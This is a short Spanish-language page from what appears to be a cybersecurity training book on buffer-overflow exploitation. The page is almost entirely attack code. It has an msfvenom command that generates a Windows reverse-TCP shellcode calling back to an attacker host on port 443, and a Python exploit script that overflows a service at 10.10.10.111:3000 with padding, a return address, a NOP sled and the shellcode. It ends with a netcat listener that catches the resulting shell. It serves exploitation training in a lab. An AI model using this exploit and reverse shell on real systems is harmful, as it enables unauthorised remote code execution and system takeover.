> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cpics/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cpics/buffer-overflow/explotacion-del-buffer-overflow/generating-shellcode-and-gaining-shell.md).

# Generating Shellcode and Gaining Shell

## Generando la shell inversa: <a href="#generando-la-shell-inversa" id="generando-la-shell-inversa"></a>

```bash
# Los BadChars se especifican despues del -b
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.86.138 LPORT=443 EXITFUNC=thread -f c -a x86 -b "\x00"
```

## El script final para RCE es: <a href="#el-script-final-para-rce-es" id="el-script-final-para-rce-es"></a>

```python
#!/usr/bin/python2.7
import sys, socket

overflow = ("Resultado msfvenom")
# \xAF\x11\x50\x62 Este valor le sigue al OFFSET
# x90"*32 son valores por defecto
shellcode = "A" * VALOR_DEL_OFFSET + "\xAF\x11\x50\x62" + "\x90"*32 + overflow

while True:
        try:
                s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                s.connect(('10.10.10.111',3000))

                s.send(('FUNCION /.:/' + shellcode))
                s.close()

        except:
                print "Server error"
                sys.exit()
```

`nc -lnvp 443`